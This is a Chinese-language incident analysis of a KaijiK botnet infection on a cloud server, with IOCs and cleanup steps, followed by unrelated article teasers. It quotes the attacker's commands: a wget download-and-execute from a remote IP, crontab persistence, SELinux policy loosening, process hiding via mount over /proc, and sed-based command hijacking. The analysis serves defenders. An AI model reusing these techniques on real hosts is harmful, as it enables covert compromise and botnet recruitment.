猫鼠游戏: KaijiK病毒入侵溯源分析

news2024/12/23 3:40:47

1. 事件背景

近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作,于是网宿安全专家协助对事件进行排查、溯源、处理。

2. 入侵过程溯源分析

获得用户授权后,网宿安全专家登录控制台查看,发现一些病毒进程、隐藏进程告警,以及一些异常登录信息:

查看主机的资源监控,发现极高的CPU占用以及很高的上行带宽。从异常特征来看很可能是感染病毒后被当作肉鸡,对外发起DDOS攻击。

网宿安全专家使用网宿主机入侵检测的溯源功能对入侵过程进行溯源分析,通过进程树视图可以看到amd64启动了amd64子进程,并且执行mount命令进行隐藏。通过切换到会话视图,可以看到相同会话下执行了wget下载了病毒文件,登录IP 87.246.7.38来自于保加利亚索非亚,与异常登录告警一致。

TIPS: 会话模式,linux下每次登录都会记录一个会话ID,相同会话ID可以比较全面的记录一次入侵登录的执行行为。很多病毒和命令执行后不会在原来的父进程下,如果只通过进程树进行跟踪将缺失很多重要信息。

切换到进程树的文本视图可以比较简洁明了的查看完整的命令执行列表。从文本视图可以快速看到病毒的下载、执行、隐藏、修改定时任务等行为信息。通过以下线索梳理关键的时间线信息。

时间行为
2024-06-28 06:55:55异常登录,登录IP 87.246.7.38来自于保加利亚索非亚
2024-06-28 06:55:56bash -c uname –m获取操作系统架构信息,方便后续下载对应的样本
2024-06-28 06:55:56bash -c cd /tmp;rm -f amd64;wget -t 1 http://198.98.51.37:27222/s/amd64确保 /tmp 目录下无同名文件,使用 wget 命令从远程服务器下载恶意文件 amd64 并存放在 /tmp 目录下。
2024-06-28 06:56:05bash -c /tmp/amd64执行命令,启动病毒样本
2024-06-28 06:56:06/bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab在定时任务中写入配置,每分钟启动/.mod
2024-06-28 06:56:06/bin/bash -c cd /boot;ausearch -c 'system.pub' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp使用audit2allow和semodule修改系统的SELinux规则,使system.pub的操作不会被限制。
2024-06-28 06:56:07mount -o bind /tmp/ /proc/38915 通过mount命令对进程进行隐藏,这里的38915就是病毒进程的PID
2024-06-28 06:56:07/bin/sh /usr/sbin/service cron start通过服务启动cron,确保定时任务执行

3. 行为审计-病毒行为追踪

对入侵过程进行溯源分析后,接着可以通过审计功能对病毒的行为进行分析,以便彻底的对病毒、后门、配置篡改等进行清理,恢复主机至安全状态。审计包括登录审计、进程审计、文件审计、流量审计。

3.1 进程隐藏

在之前溯源分析以及审计的过程中检测到此命令mount -o bind /tmp/ /proc/38915,此命令通过mount将进程路径挂载到/tmp使得其他程序无法获得进程的信息,ps和top等均无法查看到进程信息。需要通过umount解除挂载才能看到进程。

解除前,ps看不到进程信息

但是进程路径是存在的,内容却是/tmp中的内容

解除后,可以看到进程信息

TIPS:通过mount进程PID路径对进程进行隐藏,使得进程的文件路径、启动路径等均无法获取。此时通过PS、TOP等命令均无法查看进程。是最常用的进程隐藏方法,没有依赖,执行简单,不修改preload或者内核,侵入性低,不影响系统稳定性。

3.2 文件隐藏

在对病毒修改文件的审计中发现/etc/profile.d/gateway.sh对一些重要命令进行了劫持来实现病毒相关文件的隐藏。

路径/etc/profile.d在每次用户登录时进行了加载,这个文件中对重要的命令进行了重新定义,这些命令会调用原始的命令,但是输出时会通过sed屏蔽包含一些关键字的信息。被篡改的命令均是常用的查看命令:ps、ss、netstat、dir、ls、find、lsof,使得常规的查看命令很难发现病毒的痕迹。

屏蔽的关键字均是病毒文件或者病毒相关文件

proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d')proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d')proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d')proc_name=$(echo "$proc_name" | sed -e '/system.pub/d')proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')proc_name=$(echo "$proc_name" | sed -e '/.mod/d')proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d')proc_name=$(echo "$proc_name" | sed -e '/system.mark/d')proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d')proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d')

使用系统的ls命令无法看到病毒文件,因为被屏蔽了。而使用busybox执行的ls命令是可以看到病毒文件的。

TIPS:病毒经常通过劫持方式在输出中隐藏病毒文件,常见的有alias劫持、定义function函数、替换文件劫持命令,更深层次的可以通过预加载动态链接库、rootkit等方式劫持系统函数。

3.3 启动项持久化

通过进程审计分析病毒修改或创建的文件发现病毒样本修改了大量的配置文件,主要涉及路径/etc/init.d,/etc/profile.d路径。/etc/init.d路径下的文件在开机启动时被执行,/etc/profile.d下的文件在用户登录时执行。

病毒遍历这两个路径下的所有配置文件,识别里面的if then语句,在语句后插入病毒的启动路径/lib/system.mark.

TIPS:植入开机启动项与登录启动项是病毒常见的持久化方式,使得用户连接上以后自动执行病毒。

3.4 定时任务持久化

在文件审计中有看到对/etc/crontab文件的修改,并且前面的进程命令中包含篡改此文件的命令 /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab

查看/etc/crontab与/.mod的内容,病毒通过配置定时任务,每分钟启动一次/.mod,/.mod中启动/usr/lib/libgdi.so.0.8.2,这是一个伪装成so的病毒样本,其hash值与amd64相同。

TIPS:在定时任务中添加配置是病毒持久化常用的手段,即使杀死了病毒进程,没有清理定时任务的话,很快又会被拉起,经常使得病毒很难清理干净。

3.5 释放病毒文件

通过病毒木马对系统进行扫描,发现病毒将自身复制到多个路径下,并且伪造成系统文件相似的名字,他们的MD5值均相同,这些文件会在前面分析的各类配置文件中被拉起。

病毒路径列表:

/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark

TIPS:病毒通常会将自身复制到系统关键的配置路径,启动路径,lib库路径下,并伪装成与系统文件相似的名字,使得人工分析难以察觉。

3.6 文件时间篡改

从病毒木马检测中发现这些病毒的创建时间均为2020-02-27 13:52:07,而文件审计中这些文件均有近期的操作记录,病毒样本对文件时间进行了篡改,试图绕过检测。

TIPS:一些安全工具会对创建时间比较久远的文件跳过检测,隐藏病毒也经常通过篡改文件时间来视图规避检测。

3.7 外连C&C域名

通过流量审计功能对病毒通信IP进行分析,找到两个IP地址,其中一个是病毒的C&C服务器地址,一个是病毒样本下载地址。此样本通过51.222.38.42下发命令发起DDOS攻击。

IP地理位置作用
51.222.38.42法国C&C控制地址
193.142.146.228荷兰弗莱福兰省样本下载地址

TIPS:许多样本在感染时通常表现为静默状态,只有在接受到C&C远控下发命令时才执行具体的行为,比如发起DDOS攻击。

4. 处置措施

  1. 隔离受感染的系统,可以通过一键隔离功能快速进行隔离,防止远控地址下发命令,防止重新下载感染病毒。
  2. 删除病毒文件,包括初始下载的以后后续病毒样本释放的文件。
  3. 通过umount命令解除进程隐藏行为,然后杀死病毒进程。
  4. 修复被篡改的配置文件,删除植入的配置文件。
  5. 修改用户口令,确保口令满足复杂度要求,并且不在常见的弱口令库中。

5. 事件总结

攻击者通过暴力破解的方式获取了登录权限,然后从远程地址下载病毒样本并执行。病毒通过mount隐藏方法对进行进行了隐藏,通过劫持系统命令屏蔽病毒相关文件名字对文件进行了隐藏,通过开机启动项、定时任务、登录启动项配置中植入病毒路径进行持久化,删除病毒样本后,病毒执行又会重新释放恶意样本,使得病毒很难被清理。最后样本连接C&C服务器,等待接收指令,接收到指令后对外发起攻击,占用大量的CPU和上行带宽。

这个病毒对进程、文件均进行了隐藏,并且使用了多种方式进行持久化,病毒在静默状态下很难被发现,并且很难彻底清理。

6. 病毒样本IOC

病毒MD51c0e411f155da1bec2ca67af95bcb235
C&C地址51.222.38.42193.142.146.228
释放病毒样本/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark
释放脚本/.mod
篡改配置文件开机启动类定时任务类连接启动类

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2130907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OA项目值用户登入首页展示

1.什么是OA 办公自动化(Office Automation,简称OA)是将现代化办公和计算机技术结合起来的一种新型的办公方式。办公自动化没有统一的定义,凡是在传统的办公室中采用各种新技术、新机器、新设备从事办公业务,都属于办公自动化的领域。通过实现办公自动化,或者说实现数字化…

微信小程序开发——比较两个数字大小

在这里我们使用的工具是 需要自行安装和配置。 在微信小程序中比较两个数字大小有以下几种方式: 一、普通条件判断 在小程序的.js 文件中,先定义两个数字,如let num1 5; let num2 3;。通过if - else if - else语句,根据num1与…

在VB.net中,DateTime类使用,举例说明

标题 在VB.net中,DateTime类使用,举例说明 前面学习相关 1.在VB.net中,如何把"20240906"转化成日期格式 2.在VB.net中 DateTime有什么属性与方法 3.在VB.net中,Stopwatch有什么属性与方法 正文 在VB.NET中,D…

vite + vue3 + ts 移动端开箱即用现代开发模板

中文 | English SouthernWind https://blog.csdn.net/nanchen_J?typeblog sw-template vite vue3 ts 移动端开箱即用现代开发模板 特点 🐶 Vite 的Vue3 的文件路由布局系统Mock 后续支持Api 自动引入组件自动引入VueUse 支持TypeScript 的Tailwind css 的暗…

优化算法(二)—粒子群优化算法(附MATLAB程序)

粒子群优化算法(Particle Swarm Optimization, PSO)是一种基于群体智能的优化算法,由James Kennedy和Russ Eberhart于1995年提出。它模仿鸟群觅食的行为,利用一组“粒子”在搜索空间中进行探索,以寻找最优解。每个粒子…

AI大模型知识点大梳理_ai大模型知识学习,零基础入门到精通,收藏这一篇就够了

文章目录 AI大模型是什么AI大模型发展历程AI大模型的底层原理AI大模型解决的问题大模型的优点和不足影响个人观点 AI大模型是什么 AI大模型是指具有巨大参数量的深度学习模型,通常包含数十亿甚至数万亿个参数。这些模型可以通过学习大量的数据来提高预测能力&…

尝试解决ubuntu中安装应用时出现依赖不满足的问题

在ubuntu或者其他linux环境中安装应用时,我们有时候会遇到以来不满足的问题,这时候就会导致目标应用无法被安装,比如: 怎么办呢? 第一种方式: 首先,尝试更新软件库。 先后执行以下两个命令 sudo…

输电线路在线监测摄像头:规格(一)

输电线路在线监测摄像头:规格(一) 1、设备具备前视高清变焦镜头,后视日夜一体高清镜头,整机一体化设计,不拆分。 2、采用工业级高清摄像头,像素≥1600万,可按现场需求设置。 3、支持…

【机器学习】--- 生成对抗网络 (GANs)

生成对抗网络 (GANs) —— 机器学习中的一个热点 生成对抗网络(GANs, Generative Adversarial Networks)近年来在机器学习领域成为一个热点话题。自从Ian Goodfellow及其团队在2014年提出这一模型架构以来,GANs 在图像生成、数据增强、风格转…

duilib 直接可编译运行的 实例DEMO

陆陆续续花时间精力做了几个DEMO,VS2013以上,编译即可运行,资源样式都带着。如果学习使用,或类似需求的话,可以参考下,有需要的,可以私信联系。 目录 1、duiliib 基本控件使用示例 2、文件选择对话框 3、登录界面例子 4、各种消息框的示例 5、时间工具条示例 6、透…

Web大学生网页作业成品——在线购物商城网页设计与实现(HTML+CSS+JS)(4个页面)

🎉🎉🎉 常见网页设计作业题材有**汽车、环保、明星、文化、国家、抗疫、景点、人物、体育、植物、公益、图书、节日、游戏、商城、旅游、家乡、学校、电影、动漫、非遗、动物、个人、企业、美食、婚纱、其他**等网页设计题目, 可满足大学生网…

重塑在线软件开发新纪元:集成高效安全特性,深度解析与评估支持浏览器在线编程的系统架构设计

目录 案例 【题目】 【问题 1】(13 分) 【问题 2】(12 分) 【答案】 【问题 1】解析 【问题 2】解析 相关推荐 案例 阅读以下关于软件架构设计与评估的叙述,回答问题1和问题2。 【题目】 某公司拟开发一套在线软件开发系统,支持用户通过浏览器…

Qt_自定义信号

目录 1、自定义信号的规定 2、创建自定义信号 3、带参数的信号与槽 4、一个信号连接多个槽 5、信号与槽的断开 结语 前言: 虽然Qt已经内置了大量的信号,并且这些信号能够满足大部分的开发场景,但是Qt仍然允许开发者自定义信号&#…

【Unity精品插件】NGUI:UI设计传奇工具

📂 Unity 开发资源汇总 | 插件 | 模型 | 源码 💓 欢迎访问 Unity 打怪升级大本营 在Unity3D的世界中,用户界面(UI)是玩家与游戏互动的重要桥梁。随着游戏和应用的复杂性不断增加,传统的UI解决方案已经难以满…

AgentRE:用智能体框架提升知识图谱构建效果,重点是开源!

发布时间:2024 年 09 月 13 日 Agent应用 AgentRE: An Agent-Based Framework for Navigating Complex Information Landscapes in Relation Extraction 在复杂场景中,关系抽取 (RE) 因关系类型多样和实体间关系模糊而挑战重重,影响了传统 “…

一种没有注释的语言

原文:Breck Yunits - 2024.09.05 JSON 是 PLDB(A Programming Language Database)中唯一不支持注释的流行语言。JSON 既不支持单行注释,也不支持多行注释。 JSON 最初是有注释的 Douglas Crockford 在 2012 年解释了他独特的设计…

稀有 Punk 10E 到手?「捡漏」的背后是一个已停止运营的 NFT 碎片化协议

撰文:Yangz,Techub News 今日凌晨,作为 24 个 Ape Punk 之一的 CryptoPunk #2386 以 10 ETH 的价格被 0x282 开头的地址购入。一时间,NFT 圈内尽是「羡慕」与「质疑」。 的确,即使是在如今尽显颓势的 NFT 市场&#xf…

(十三)、将一个 SpringCloud 微服务运行 以 jar 方式运行

文章目录 1、总体思路2、操作2.1、把 SpringCloud 打包为 jar生成 jar运行 jar 1、总体思路 把 SpringCloud 项目打包获得 jar &#xff0c;然后使用指定版本的jdk 运行 jar 2、操作 2.1、把 SpringCloud 打包为 jar 生成 jar 具体被打包的子 pom 文件声明为 jar 类型 <…

开源PHP免费家谱应用Webtrees简介

1. 介绍 Webtrees是一个开源的在线家谱管理系统&#xff0c;支持 GEDCOM 格式&#xff0c;允许用户协作管理家谱数据。它是免费的&#xff0c;并且功能强大。Webtrees有大量活跃用户参与的交流社区&#xff0c;在全世界约有6800个服务器。这是一个服务器应用&#xff0c;可以多…

抖音豆包大模型SFT-监督微调最佳实践

目录 一、SFT&#xff08;Supervised Finetune&#xff09;简介 二、SFT 的意义和时机 三、数据准备 3.1、数据格式 3.1.1、参考问答 3.1.2、角色扮演 3.1.3、文本分类 3.1.4、文案生成 3.2、数据量级 3.3、是否混入预置数据 3.4、如何扩充SFT数据 三、训练配置 3.…